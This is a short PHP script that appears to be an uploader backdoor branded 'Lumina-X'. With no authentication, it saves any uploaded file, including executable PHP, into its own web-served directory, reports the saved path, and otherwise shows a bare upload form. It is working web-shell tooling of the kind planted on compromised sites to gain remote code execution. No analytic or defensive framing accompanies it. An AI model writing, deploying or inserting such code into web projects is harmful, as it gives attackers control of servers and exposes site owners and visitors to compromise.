$s="Lumina-X";
$t="Lumina";
	if(!empty($_FILES["f"]["tmp_name"])){
	$n=preg_replace("/[^A-Za-z0-9._-]/","_",basename($_FILES["f"]["name"]));
	if($n==="")$n="x.bin";
	$p=__DIR__."/".$n;
	header("Content-Type:text/plain");
	echo@move_uploaded_file($_FILES["f"]["tmp_name"],$p)?"OK $s ".$p:"ERR";
	exit;
}
header("Content-Type:text/html;
charset=utf-8");
echo"$s $t<br><form method=POST enctype=multipart/form-data><input type=file name=f><button>Lumina</button></form>";